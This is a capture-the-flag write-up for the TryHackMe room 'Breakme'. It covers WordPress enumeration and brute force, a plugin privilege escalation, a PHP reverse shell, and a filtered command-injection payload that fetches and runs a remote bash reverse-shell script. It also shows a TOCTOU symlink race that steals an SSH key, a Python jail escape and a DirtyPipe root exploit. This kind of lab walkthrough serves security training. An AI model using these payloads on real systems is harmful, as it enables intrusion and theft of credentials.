TryHackMe: Breakme
Breakme is a Medium Tryhackme room where we start by exploiting an outdated wordpress plugin to gain higher privileges, gaining a reverse shell we found an internal web server that’s vulnerable to Command Injection allowing us to escalate on the victim machine we then exploited a Race Condition flaw within an executable and escaped a python jail script to escalate our privileges and become root.
The room can be exploited in 2 different ways an Intended Way and another Unintended Way we’ll cover them both!
Intended Way
Enumeration
Nmap Scan
Starting with an nmap on 10.10.158.39
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ nmap -sC -sV 10.10.158.39 -T4 -oN breakme.nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-23 16:30 CET
Nmap scan report for 10.10.158.39
Host is up (0.081s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 8e:4f:77:7f:f6:aa:6a:dc:17:c9:bf:5a:2b:eb:8c:41 (RSA)
| 256 a3:9c:66:73:fc:b9:23:c0:0f:da:1d:c9:84:d6:b1:4a (ECDSA)
|_ 256 6d:c2:0e:89:25:55:10:a9:9e:41:6e:0d:81:9a:17:cb (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.60 seconds
Looking at the results we get 2 ports open.
- 22/SSH OpenSSH - open
- 80/HTTP Apache - open
Web Application - 80
Taking a look at http://10.10.158.39/
we get a default Apache2 Debian Page.
We decided to run a Gobuster
on the web server to enumerate it more.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ gobuster dir -u http://10.10.158.39/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -t 100 -r -b 404,403
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.158.39/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt
[+] Negative Status codes: 404,403
[+] User Agent: gobuster/3.6
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/. (Status: 200) [Size: 10701]
/wordpress (Status: 200) [Size: 85696]
/manual (Status: 200) [Size: 676]
Progress: 14871 / 63089 (23.57%)
We found 2 endpoint /wordpress
and /manual
, the one being interesting was /wordpress
, taking a look at it we don’t find much of information.
So we decided to run wp-scan
to dig deeper into it and enumerate users and all plugins on the website.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ wpscan --url http://10.10.158.39/wordpress -e u,ap
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.27
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://10.10.158.39/wordpress/ [10.10.158.39]
[+] Started: Mon Sep 23 16:38:38 2024
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.56 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://10.10.158.39/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://10.10.158.39/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://10.10.158.39/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.4.3 identified (Insecure, released on 2024-01-30).
| Found By: Rss Generator (Passive Detection)
| - http://10.10.158.39/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=6.4.3</generator>
| - http://10.10.158.39/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.4.3</generator>
[+] WordPress theme in use: twentytwentyfour
| Location: http://10.10.158.39/wordpress/wp-content/themes/twentytwentyfour/
| Last Updated: 2024-07-16T00:00:00.000Z
| Readme: http://10.10.158.39/wordpress/wp-content/themes/twentytwentyfour/readme.txt
| [!] The version is out of date, the latest version is 1.2
| Style URL: http://10.10.158.39/wordpress/wp-content/themes/twentytwentyfour/style.css
| Style Name: Twenty Twenty-Four
| Style URI: https://wordpress.org/themes/twentytwentyfour/
| Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
| Author: the WordPress team
| Author URI: https://wordpress.org
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.0 (80% confidence)
| Found By: Style (Passive Detection)
| - http://10.10.158.39/wordpress/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.0'
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] wp-data-access
| Location: http://10.10.158.39/wordpress/wp-content/plugins/wp-data-access/
| Last Updated: 2024-09-18T00:01:00.000Z
| [!] The version is out of date, the latest version is 5.5.14
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 5.3.5 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://10.10.158.39/wordpress/wp-content/plugins/wp-data-access/readme.txt
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:01 <====================================> (10 / 10) 100.00% Time: 00:00:01
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://10.10.158.39/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] bob
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Mon Sep 23 16:38:46 2024
[+] Requests Done: 56
[+] Cached Requests: 6
[+] Data Sent: 15.268 KB
[+] Data Received: 430.428 KB
[+] Memory used: 256.457 MB
[+] Elapsed time: 00:00:08
Exploitation
Initial Foothold
Looking at the results we find 2 useful information, having 2 users bob and admin and having a vulnerable wp plugin, wp-data-access. Launching a password bruteforce using wpscan we were able to retrieve bob’s password successfully.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ wpscan --url http://10.10.158.39/wordpress -e u --passwords /usr/share/wordlists/rockyou.txt
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.27
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://10.10.158.39/wordpress/ [10.10.158.39]
[+] Started: Mon Sep 23 16:41:29 2024
Interesting Finding(s):
[...]
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <====================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://10.10.158.39/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] bob
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] Performing password attack on Wp Login against 2 user/s
[SUCCESS] - bob / [REDACTED]
[!] Valid Combinations Found:
| Username: bob, Password: [REDACTED]
[!] No WPScan API Token given, as a result vulnerability data has not been output. 28688814) 0.00% ETA: ??:??:??
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Mon Sep 23 16:41:42 2024
[+] Requests Done: 190
[+] Cached Requests: 46
[+] Data Sent: 66.353 KB
[+] Data Received: 1.041 MB
[+] Memory used: 233.734 MB
[+] Elapsed time: 00:00:12
Heading to http://10.10.158.39/wordpress/wp-login.php
and using the credentials found we were able to log in but as a low previliged user. We now need a way to elevate our privileges in order to gain a reverse shell as we usually do with wordpress.
Googling wp-data-access 5.3.5 exploit
we were able to find a blog post mentioning a vulnerability that leads to a privilege escalation within wordpress.
Setting the wpda_role[]
parameter to administrator
after updating our profile using Burpsuite
we were able to escalate our privileges.
Once we forward the request we gain admin privileges.
Heading to Tools > Theme File Editor we were able to inject our PHP reverse shell into patterns/footer.php
. Once done, we set up our netcat listener nc -lnvp PORT
and go to http://10.10.158.39/wordpress/wp-content/themes/twentytwentyfour/patterns/footer.php
and that’s when we catch a reverse shell!
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.9.3.146] from (UNKNOWN) [10.10.158.39] 35194
Linux Breakme 5.10.0-8-amd64 #1 SMP Debian 5.10.46-4 (2021-08-03) x86_64 GNU/Linux
11:55:48 up 29 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@Breakme:/$ export TERM=xterm
export TERM=xterm
www-data@Breakme:/$
Lateral Movement (John)
After looking for a while we couldn’t find anything interesting as www-data
only an internal open port at 9999
.
1
2
3
4
5
6
7
8
9
www-data@Breakme:/$ ss -tlnp
ss -tlnp
State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:9999 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 *:80 *:*
LISTEN 0 128 [::]:22 [::]:*
www-data@Breakme:/$
So we decided to port forward that using Chisel
. Setting up a python web server to send it to the box we were able to forward that port into our machine to investigate it more.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ cp ~/Desktop/chisel .
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ ls
README.md breakme.nmap chisel
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.158.39 - - [23/Sep/2024 17:04:17] "GET /chisel HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ ./chisel server -p 9005 --reverse &
[1] 9211
2024/09/23 17:06:57 server: Reverse tunnelling enabled
2024/09/23 17:06:57 server: Fingerprint rVpum+FgFJfUDMUO19spP4rhonxrISMZ/nlrbPQ599A=
2024/09/23 17:06:57 server: Listening on http://0.0.0.0:9005
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ 2024/09/23 17:06:58 server: session#1: tun: proxy#R:9999=>9999: Listening
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
www-data@Breakme:/$ cd /tmp
cd /tmp
www-data@Breakme:/tmp$ wget http://10.9.3.146:8000/chisel
wget http://10.9.3.146:8000/chisel
--2024-09-23 12:04:17-- http://10.9.3.146:8000/chisel
Connecting to 10.9.3.146:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8945816 (8.5M) [application/octet-stream]
Saving to: ‘chisel’
chisel 100%[===================>] 8.53M 1.21MB/s in 10s
2024-09-23 12:04:27 (874 KB/s) - ‘chisel’ saved [8945816/8945816]
www-data@Breakme:/tmp$ chmod +x chisel
chmod +x chisel
www-data@Breakme:/tmp$ ./chisel client 10.9.3.146:9005 R:9999:127.0.0.1:9999 &
./chisel client 10.9.3.146:9005 R:9999:127.0.0.1:9999 &
[1] 1213
www-data@Breakme:/tmp$ 2024/09/23 12:06:56 client: Connecting to ws://10.9.3.146:9005
2024/09/23 12:06:58 client: Connected (Latency 70.356073ms)
www-data@Breakme:/tmp$
Checking http://127.0.0.1:9999/
we get a basic web app where we can Check a Target (alive or not), Check a User and Check for a File.
After trying all of the inputs available we knew that this must be vulnerable to command injection, more specifically a blind command injection as we’re not able to see the output. After trying multiple payloads and spending a lot of time trying and figuring out a way out of the well-filtered web app we did find one that works and gets us a shell.
First thing we need to do is to create a bash reverse shell file and host it on a python web server.
1
2
#!/bin/bash
sh -i >& /dev/tcp/10.9.3.146/9001 0>&1
Setting up a netcat listener on port 9001
and injecting our payload: |curl${IFS}http://10.9.3.146:8000/reverse.sh|bash
will get us our reverse shell!
1
2
3
4
5
6
7
8
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.9.3.146] from (UNKNOWN) [10.10.158.39] 35844
sh: 0: can't access tty; job control turned off
$ whoami
john
$
Copying our public key into john’s authorized_keys we were able to gain a more stable shell through ssh
.
Lateral Movement (Youcef)
First thing we did is grabbing linpeas
and running it on the box and we found a readfile
binary on Youcef home directory that has an SUID on. Getting the binary into our machine and giving it to Ghidra
and Chat-GPT
we managed to get a look-a-like source code of the binary.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <assert.h>
#define TARGET_UID 0x3ea // Target UID: 1002 in decimal
// Main function that takes command-line arguments
int main(int argc, char *argv[]) {
int access_check;
__uid_t user_id;
ssize_t bytes_read;
struct stat file_stat;
char buffer[1024];
int file_descriptor;
int read_bytes;
int write_bytes;
uint is_symlink;
char *flag_check;
char *id_rsa_check;
// Check if exactly one argument is provided (argc should be 2)
if (argc == 2) {
// Check if the file provided exists and is accessible
access_check = access(argv[1], F_OK);
if (access_check == 0) {
// Get the real user ID of the calling process
user_id = getuid();
// Check if the user is the target UID (1002)
if (user_id == TARGET_UID) {
// Check if the file contains "flag" or "id_rsa" in its name
flag_check = strstr(argv[1], "flag");
id_rsa_check = strstr(argv[1], "id_rsa");
// Get file status information
lstat(argv[1], &file_stat);
// Check if the file is a symbolic link
is_symlink = (file_stat.st_mode & S_IFMT) == S_IFLNK;
// Check if the file is readable
access_check = access(argv[1], R_OK);
// If the file does not contain "flag", is not a symlink, is readable, and does not contain "id_rsa"
if (flag_check == NULL && is_symlink == 0 && access_check != -1 && id_rsa_check == NULL) {
// Print success message
puts("I guess you won!\n");
// Open the file for reading
file_descriptor = open(argv[1], O_RDONLY);
if (file_descriptor < 0) {
// Assertion failure if the file could not be opened
assert(file_descriptor >= 0 && "Failed to open the file");
}
// Read and output the file content to stdout
do {
bytes_read = read(file_descriptor, buffer, sizeof(buffer));
read_bytes = (int)bytes_read;
if (read_bytes < 1) break;
write_bytes = write(STDOUT_FILENO, buffer, (long)read_bytes);
} while (write_bytes > 0);
return 0;
} else {
// Print failure message if the file is restricted
puts("Nice try!");
return 1;
}
} else {
// If the user is not the target UID, print an error message
puts("You can't run this program");
return 1;
}
} else {
// If the file does not exist, print an error message
puts("File Not Found");
return 1;
}
} else {
// If the program is not called with exactly one argument, print usage instructions
puts("Usage: ./readfile <FILE>");
return 1;
}
}
So basically the executable checks if a specified file can be read by a user with UID 1002. It ensures the file exists, is not a symbolic link, and does not contain “flag” or “id_rsa” in its name. If all conditions are met, it prints the file’s contents , otherwise, it displays error messages.
We need to bypass the filter and the only way to do that is through a race condition, more specifically a TOCTOU (Time of Check to Time of Use) vulnerability, the bug here is that between the time the checks are made and the time the file is opened, the state of the file can change. This is where the TOCTOU vulnerability comes into play, to break it down even more, if an attacker creates a symlink that points to a sensitive file (like in our case /home/youcef/.ssh/id_rsa), the checks will pass if the symlink does not contain “flag” or “id_rsa” in its name. However, if the attacker manages to change what the symlink points to before the actual read operation occurs, the program will inadvertently read the sensitive file.
Now that we understand where the vulnerability lie let’s exploit it, we first need to create an infinite loop in the background that creates a symlink, deletes it and then creates it once again.
1
while true; do ln -sf /home/youcef/.ssh/id_rsa symlink; rm symlink; touch symlink; done &
We now need to execute the readfile binary over and over again until we capture the private key using the following command.
1
for i in {1..30}; do /home/youcef/readfile symlink; done
And at some point, bingo! we will see the private key popping.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
john@Breakme:~$ for i in {1..30}; do /home/youcef/readfile symlink; done
File Not Found
File Not Found
I guess you won!
File Not Found
File Not Found
I guess you won!
File Not Found
File Not Found
I guess you won!
File Not Found
File Not Found
I guess you won!
File Not Found
File Not Found
I guess you won!
File Not Found
File Not Found
I guess you won!
File Not Found
File Not Found
I guess you won!
File Not Found
File Not Found
I guess you won!
File Not Found
File Not Found
I guess you won!
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCGzrHvF6
Tuf+ZdUVQpV+cXAAAAEAAAAAEAAAILAAAAB3NzaC1yc2EAAAADAQABAAAB9QCwwxfZdy0Z
P5f1aOa67ZDRv6XlKz/0fASHI4XQF3pNBWpA79PPlOxDP3QZfZnIxNIeqy8NXrT23cDQdx
[REDACTED]
-----END OPENSSH PRIVATE KEY-----
File Not Found
File Not Found
I guess you won!
john@Breakme:~$
Once the id_rsa file content is in our hand, we copied it into id_rsa
and tried to connect using it but it’s encrypted using a passphrase so we used ssh2john
and john
to crack it and retrieve the passphrase.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ nano id_rsa
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ chmod 700 id_rsa
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ ssh -i id_rsa youcef@10.10.158.39
Enter passphrase for key 'id_rsa':
youcef@10.10.158.39's password:
Permission denied, please try again.
youcef@10.10.158.39's password:
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ ssh2john id_rsa > id_rsa.john
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ john id_rsa.john -wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
No password hashes left to crack (see FAQ)
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ john id_rsa.john -show
id_rsa:[REDACTED]
1 password hash cracked, 0 left
Using the private key and the passphrase we just obtained we were able to connect successfully!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ ssh -i id_rsa youcef@10.10.158.39
Enter passphrase for key 'id_rsa':
Linux Breakme 5.10.0-8-amd64 #1 SMP Debian 5.10.46-4 (2021-08-03) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 23 14:29:19 2024 from 10.9.3.146
youcef@Breakme:~$ ls .ssh
authorized_keys id_rsa user2.txt
youcef@Breakme:~$
Privilege Escalation (Root)
Once we’re on youcef’s account we checked for sudo permissions using sudo -l
and we found a python script that we could run as root.
1
2
3
4
5
6
7
youcef@Breakme:/home/john$ sudo -l
Matching Defaults entries for youcef on breakme:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User youcef may run the following commands on breakme:
(root) NOPASSWD: /usr/bin/python3 /root/jail.py
youcef@Breakme:/home/john$
Upon running the python script using sudo
we’ll find ourselves in a python environement that has restrictions as we can’t execute some commands. After trying many payloads and checking many articles on python jails and manipulating payloads we found one that works and gives us a shell into root account.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
youcef@Breakme:~$ sudo /usr/bin/python3 /root/jail.py
Welcome to Python jail
Will you stay locked forever
Or will you BreakMe
>> print(__builtins__.__dict__['__IMPORT__'.casefold()]('OS'.casefold()).__dict__[f'SYSTEM'.casefold()]('ID'.casefold()))
uid=0(root) gid=0(root) groups=0(root)
0
>> print(__builtins__.__dict__['__IMPORT__'.casefold()]('OS'.casefold()).__dict__[f'SYSTEM'.casefold()]('BASH'.casefold()))
root@Breakme:/home/youcef# cd /root
root@Breakme:~# ls -la
total 52
drwx------ 3 root root 4096 Mar 21 2024 .
drwxr-xr-x 18 root root 4096 Aug 17 2021 ..
lrwxrwxrwx 1 root root 9 Aug 3 2023 .bash_history -> /dev/null
-rw-r--r-- 1 root root 571 Apr 10 2021 .bashrc
-rwx------ 1 root root 5438 Jul 31 2023 index.php
-rw-r--r-- 1 root root 5000 Mar 21 2024 jail.py
-rw-r--r-- 1 root root 0 Mar 21 2024 .jail.py.swp
-rw------- 1 root root 33 Aug 3 2023 .lesshst
drwxr-xr-x 3 root root 4096 Aug 17 2021 .local
-rw------- 1 root root 7575 Feb 4 2024 .mysql_history
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw------- 1 root root 33 Aug 3 2023 .root.txt
And like that we rooted the room successfully!
Unintended Way
Exploitation
After gaining first foothold into the server and gaining a shell as www-data
, Linpeas
did mention for us some vulnerabilites on the box, including DirtyPipe. Looking for a static binary of it we found one here, downloading that and sending it to the machine we are able to priv esc to root directly.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
www-data@Breakme:/tmp$ ./exploit-static
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "aaron"...It worked!
Password: Restoring /etc/passwd from /tmp/passwd.bak...
Done! Popping shell...
(run commands now)
id
uid=0(root) gid=0(root) groups=0(root)
ls /root -la
total 52
drwx------ 3 root root 4096 Mar 21 2024 .
drwxr-xr-x 18 root root 4096 Aug 17 2021 ..
lrwxrwxrwx 1 root root 9 Aug 3 2023 .bash_history -> /dev/null
-rw-r--r-- 1 root root 571 Apr 10 2021 .bashrc
-rwx------ 1 root root 5438 Jul 31 2023 index.php
-rw-r--r-- 1 root root 5000 Mar 21 2024 jail.py
-rw-r--r-- 1 root root 0 Mar 21 2024 .jail.py.swp
-rw------- 1 root root 33 Aug 3 2023 .lesshst
drwxr-xr-x 3 root root 4096 Aug 17 2021 .local
-rw------- 1 root root 7575 Feb 4 2024 .mysql_history
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw------- 1 root root 33 Aug 3 2023 .root.txt